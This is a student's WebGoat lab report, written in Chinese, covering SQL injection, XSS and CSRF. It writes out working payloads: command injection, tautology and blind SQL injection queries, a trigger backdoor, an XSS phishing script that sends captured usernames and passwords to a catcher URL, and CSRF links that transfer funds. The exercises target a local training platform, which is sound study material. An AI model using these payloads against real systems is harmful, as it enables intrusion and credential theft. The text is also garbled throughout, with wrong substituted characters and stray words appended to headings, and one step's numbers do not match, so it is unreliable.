2018-2019 2 20165203 《网络对抗技术》Exp9 Web安全基础

2018-2019 2 20165203 《网络对抗技术》Exp9 Web安全基础

实验要求

本实践的目标理解经常使用网络攻击技术的基本原理,作很多于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。javascript

基础知识问答

(1)SQL注入攻击原理,如何防护html

  • SQL注入的原理:就是经过构建特殊的参数传入web应用程序,而这些输入大多都是SQL语句语法里的组合,经过这些组合构造出某些特殊的含义,从而达到攻击者的攻击目的,例如在用户名和密码框中输入某些像''--,#等特殊字符,实现将某些语句注释掉,或是构造永真式,实现登陆的目的。
  • 防护:
    • 在后台控制限制输入用户名的长度或是禁止输入一些诸如''--或是#的符号。
    • 经过Java语句中的绑定变量进行预防。

(2)XSS攻击的原理,如何防护前端

  • XSS攻击原理:攻击者向Web页面里插入一些恶意的html标签或者javascript代码,当用户浏览该页进行某些操做时,攻击者利用用户对原网站的信任,诱骗用户进行一些不安全的操做或向其余网站进行一些不安全的行为操做或向网站提交一些私密信息。
  • 防护:
    • 用户:加强防范意识,不要轻易输入用户名、密码等一些私密信息。
    • 网页编写者:在输入和输出过程当中进行过滤、转义等。

(3)CSRF攻击原理,如何防护java

  • CSRF攻击原理:CSRF经过假装成受信任用户的请求来利用受信任的网站,它的核心本质是窃取用户的Session,或者说是Cookie,由于目前的主流状况是Session存在Cookie中,攻击者并不关心具体的帐户密码,由于一旦用户进行登陆,Session就是惟一凭证,只要攻击者得到了Session,就能够伪造被害者进入服务器来攻击网站了。
  • 防护:
    • 尽可能不要设置记住密码,避免cookie的出现。
    • 在form表单栏中设置一些秘密信息做为cookie以外的验证。
    • 避免全站使用通用的cookie,严格控制cookie的域。

实践过程

准备工做(下载并开启WebGoat)

WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来讲明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操做隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。

step1 检查端口:因为WebGoat是使用8080端口进行工做的,因此使用前,要检查该端口是否被占用。git

  • 使用netstat -tupln | grep 8080来检查端口是否被占用。
  • 若是被占用,用kill 进程号终止占用8080端口的进程。

step2 下载并安装WebGoat:github

step3 开启并登陆:web

  • 开启WebGoat:进入存在刚刚下载的webgoat-container-7.0.1-war-exec.jar包的目录,输入java jar webgoat-container-7.0.1-war-exec.jar进行开启。
    在看到Starting ProtocolHandler ["http-bio-8080"]这一条消息以后就代表开启成功了。sql

  • 登陆Webgoat:数据库

    • 浏览器中输入http://localhost:8080/WebGoat,如图所示,在登陆框下面表格中有两组用户名和密码,能够直接登陆。

    • 成功登陆后咱们能够在左侧看到各类实践课程。

SQL注入攻击

1.命令注入(Command Injection)

原理:在正常的参数提交过程当中添加恶意代码,以执行某条命令。

目标:能够在主机上执行任何系统命令。
  • 在左侧点击Injection Flaws -> Command Injection后端

  • 咱们能够选择第一个AccessControlMatrix.help,点击view,看到以下执行结果。

  • 接下来,咱们作一下注入攻击,但愿仍是选择该选项,增长检查端口状态查询链接端口主机的IP地址的功能

  • 右键点击复选框,选择Inspect Element来审查网页元素,对源代码进行修改,咱们能够在相应选项的末尾后面添加"& netstat -an & ipconfig

  • 随后,点击view,咱们能够看到相应的端口及链接端口的主机,攻击成功。

2. 数字型注入(Numerical SQL Injection)

原理:经过在字段中注入数字型数据(例如永真式),从而达到注入攻击的效果。

目标:本次实践中经过注入SQL字符达到查看全部城市的天气预报的效果。
  • 在左侧点击Injection Flaws -> Numeric SQL Injection

  • 一样,右侧点击复选框,选择inspect Element审查元素。此次,咱们但愿查询全部城市的天气预报,因此,咱们要让网页前端传给后台的value值为永真式,才能达到迷惑后台,查询全部城市的效果。因此,咱们要在value="101"中的101后面添加or 1=1,使得value值为 一个永真式。

  • 修改完毕后,咱们点击Go,出现绿对勾,说明咱们攻击成功,同时也能够看到全部城市的天气。

3. 日志欺骗(Log Spoofing)

原理:经过在日志中插入脚本实现欺骗,攻击者能够利用这种方式清除他们在日志中的痕迹。

本次实践目标:用户登陆后下方日志会显示其在以前的全部行为,咱们经过日志欺骗,让用户登陆时下方只显示成功登陆。
  • 在左侧点击Injection Flaws -> Log Spoofing

  • 咱们就以前打开WebGoat时表格上显示的用户webgoat进行攻击。

  • User Name中填入webgoat%0d%0aLogin Succeeded for username: admin,利用回车%0D和空格%0A让其在日志中两行显示。

  • 随后,咱们输入密码(在以前表格中有)后,点击Login,能够看到webgoatLogin Fail那行中显示,咱们本身添加的语句在下一行中显示。

  • 此外,攻击者还能够向日志文件中添加恶意脚本,脚本文件的返回信息管理员可经过浏览器看到。能够在用户名中输入admin <script>alert(document.cookie)</script>,管理员能够看到弹窗的cookie信息。

4. 字符串型注入(String SQL Injection)

本次实践目标:基于查询语句利用字符串型追方式构造本身的SQL,从而达到将全部信用卡信息显示出来的目的。
  • 在左侧点击Injection Flaws -> String SQL Injection

  • 下面咱们来构造SQL语句,咱们能够随便选一个用户名(这个没有关系,咱们要注入永真式,用户名正确与否无关)例如Smith,咱们知道正常的SQL搜索语句为select * FROM user_data WHERE last_name='Smith',咱们利用'提早闭合'',而且加上or 1=1 --or 1=1是使这段语句变成永真式,--语句是为了把后面的语句注释掉。这就造成了select * FROM user_data WHERE last_name='Smith' or 1=1 --

  • 随后,咱们点击Go!,结果以下:

5. LAB(SQL Injection)

本次实践目标:经过使用SQL注入绕事后台进行攻击。
  • 咱们想在不知道密码的状况下登陆用户,咱们以前学过字符串注入,咱们能够注入' or 1=1 --进行登陆。

  • 咦,登陆失败,咱们在cookie中看一下密码,发现只有一部分登陆,这应该是后台里对密码的输入长度有限制,因而,咱们一样在密码输入框处点击右键,选择inpect Elements,对元素长度进行修改。

  • 接下来从新输入' or 1=1 --,登陆成功。

6. 数据库后门(Database Backdoors)

原理:数据库一般做为一个 Web 应用程序的后端来使用。此外,它也用来做为存储的媒介。 它也能够被用来做为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操做,如 insert, select, update or delete。举个例子:攻击者能够建立一个触发器, 该触发器在建立新用户时,将每一个新用户的 Email 地址设置为攻击者的地址。
  • 咱们的用户是101,能够输入101来查看用户的信息。

  • 经过界面,咱们能够看到输入的语句没有通过任何验证,很容易进行SQL注入。

  • 好比,咱们注入一段SQL语句,将101用户中的salary这一项改成10000,输入101; update employee set salary=10000,修改为功。

  • 随后,咱们设置触发器,并试图使其在建立新用户时将邮箱改成咱们本身的邮箱john@hackme.com,输入语句101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid,咱们能够看到注入成功。

  • 可是因为WebGoat使用的是MySQL数据库,并不支持建立触发器,因此,该攻击并不能真正意义上实现。

7. 数字型盲注入(Blind Numeric SQL Injection)

原理:某些SQL注入是没有明确的返回信息的,只能经过条件的“真”和“假”来进行判断,攻击者必须充分利用查询语句来构造子查询语句。

该题目要求:根据数字型盲注入,查找pins表中cc_number字段值为1111222233334444的记录中pin字段的数值。

方法:该网站只能输入一个帐号,判断该帐号是否合法,使用该表单的返回信息(真或假)来测试数据库中其余条目的信息。咱们找到了pins表中cc_number字段值为1111222233334444的记录中pin字段的数值。pin字段类型为整型,输入找到的数值并提交,经过改题目。
  • 在该题目中,服务端的信息只有两种:无效或有效,所以咱们并不能简单地查到账号的PIN值。尽管如此,咱们一样能够利用系统在后台的查询语句:SELECT * FROM user_data WHERE userid=accountNumber;,在账号后面加入AND 查询语句,若是页面返回账号有效,则表明咱们的查询语句是正确的,若是提示查询无效,则咱们的查询语句是错误的。

  • 例如,咱们利用账号101,输入101 AND 1=1,如图,页面返回Account number is valid,由于1=1是永真式,因此,语句的结果是正确的,页面返回的结果是帐号正确的。

  • 输入101 AND 1=2,由于1=2是一个结果为假的表达式,因此,语句的结果是错误的,页面返回的结果是帐号错误。

  • 咱们能够利用这一点进行查询。

  • 针对AND后面的语句,咱们开始构造SQL的查询语句。首先,咱们判断一下pin值是否大于7000,咱们输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );。若是页面返回账号有效,则pin值就是大于7000.若是返回账号无效,则pin值小于或等于7000。由此,咱们能够利用二分法进行判断。

  • 通过咱们的判断,pin值为2364,在输入框中输入2364,提交,正确。

8. 字符串型盲注入(Blind String SQL Injection)

题目要求:到```pins```表中```cc_number```字段值为4321432143214321的记录中```pin字段```的数值。```pin字段```类型为```varchar```。输入找到的数值(最终的字符串,注意拼写和大写)并提交。
  • 与上一题目不一样的是本题目查询的为字符串,咱们须要用到Substring()方法,语法为SUBSTRING(STRING,START,LENGTH)

  • 咱们输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' )来获取pin的第一个字符,并判断其是否比M小。

  • 一样,通过二分法的测试,咱们判断出了pin值为Jill

XSS攻击(Cross‐Site Scripting)

XSS是一种常常出如今web应用中的计算机安全漏洞,它容许恶意web用户将代码植入到提供给其它用户使用的页面中,还能够任意构造用户当前浏览的HTML内容,从而模拟用户当前的操做。这里实验的是一种获取用户名和密码的攻击。

1. XSS 钓鱼(Phishing with XSS)

原理:在XSS的帮助下,咱们能够实现钓鱼工具或向某些其余官方页面中增长内容,由于脚本在后台,受害者很难发现。

题目目标:建立一个form表单,让受害者填入用户名和密码,在后台中加入脚本,使服务器获取用户名和密码后传给攻击者。
  • 首先,咱们写一个简单的带用户名和密码输入框的表格以下:
<form name="justice">
<br>
<br>
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
  • Search框中输入该代码,则在下面出现输入用户名和密码的表单。

  • 接下来,咱们编写一段脚本文件,一旦受害者在表单中输入用户名和密码,则信息会传给捕获这些信息的WebGoat
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.justice.user.value + "&password=" + document.justice.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.justice.user.value + " Password = " + document.justice.pass.value);
    } 
</script>
  • 将这两段代码合在一块儿。
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.justice.user.value + "&password=" + document.justice.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.justice.user.value + " Password = " + document.justice.pass.value);
    } 
</script>
<form name="justice">
<br>
<br>
//表格
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
  • Search框中输入该代码,则出现表单。

  • 输入用户名和密码后,咱们能够看到服务器返回登陆名和密码。

2. 存储型XSS攻击(Stored XSS Attacks)

原理:用户在表单中输入一段javascript脚本,这段脚本就会被保存在数据库中,当任何用户打开网页时,脚本就会从数据库中提取出来运行。

实践目的:写入非法消息内容,致使其余用户访问时载入非预期的页面和内容。
  • 在Message中输入咱们构造的语句<script>alert("20165203 attack successfully!");</script>,Title能够任意输入,在这里输入学号5203。提交后,能够发现咱们刚刚发的帖子5203

  • 点击这个帖子,就会发现弹出咱们注入的那句话20165203 attack successfully!,攻击成功。

3. 反射型XSS攻击(Reflected XSS Attacks)

原理:攻击者利用一个脚本建立一个URL,受害者一旦点击它就会受到攻击。
  • Enter your three digit access code:栏中输入脚本<script>alert("Hey! You've been attacked!");</script>,点击Purchase,成功显示警告框,内容就是咱们在脚本中注入的内容。

CSRF攻击

跨站请求伪造 (Cross Site Request Forgery)

原理:假装来自受信任用户的请求来利用受信任的网站。

目标:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的URL指向一个恶意请求。URL应该指向“攻击”servlet,其中包含“屏幕”和“菜单”参数,以及一个额外的参数“transferFunds”,其数值为5000。能够经过在右侧插入的参数中找到“Screen”和“menu”值来构造连接。当通过身份验证的CSRF电子邮件的收件人将被转移他们的资金。
  • 查看页面右侧Parameters中的srcmenu值,分别为319和900。

  • title中输入任何参数,message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=319&menu=900&transferFunds=5000" width="1" height="1" />,该连接将以图片的形式(宽和高均设为1是为了隐藏该图片)放入Message框,用户一旦点击这个图片,就会触发一个CSRF事件(转走用户的5000元),从而达到攻击的目的。

绕过 CSRF 确认( CSRF Prompt By‐Pass)

原理:CSRF一般是欺骗用户加载包含“伪造请求”的连接,从而达到获取用户的信息,利用这些信息去执行其余行为。可是若是连接有提示,提示“确认”或“取消”,那攻击就很难完成了。咱们能够发出另外一个连接,来达到绕过这个提示符的目的。

题目目标:与上一个题目相似,向新闻组发送多个包含恶意请求的连接,第一个连接是请求用于转移资金的,第二个是用于确认第一个请求触发的提示符,此次咱们把连接伪形成一个屏幕,屏幕的参数```srceen```和```menu```右边的```Parameters```已经给出,咱们一个连接经过参数```transferFunds=5000```来传输,另外一个连接经过```transferFunds=CONTNETS```来传输,假如受害者收到了连接,又刚好点开了这两个连接经过了身份验证,则他的资金就会被转移。```
  • 查看页面右侧的Parameters中的src = 328menu=900.

  • title中输入消息的名字,在Message中输入代码:

<iframe src="attack?Screen=328&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=328&menu=900&transferFunds=CONFIRM"> </iframe>
  • 点击Submit,如图所示,攻击成功。

实验感想

本次实践是在Webgoat上完成的,根据指导,加深了我对SQL注入、XSS和CSRF的理解,正如老师说的那样,咱们必定要知道本身目前在作什么操做,目的是什么,才能更好地理解整个攻击的脉络。

本次实验是最后一次实验了,虽然因为本身在学期末忙碌,因此放弃了免考的机会,可是咱们对网络对抗的探索没有中止,本身经过本学期的实验确实加强了自主学习的能力和动手的能力,但愿本身好好回顾本学期的知识,在期末考试中考一个好成绩。

相关文章
相关标签/搜索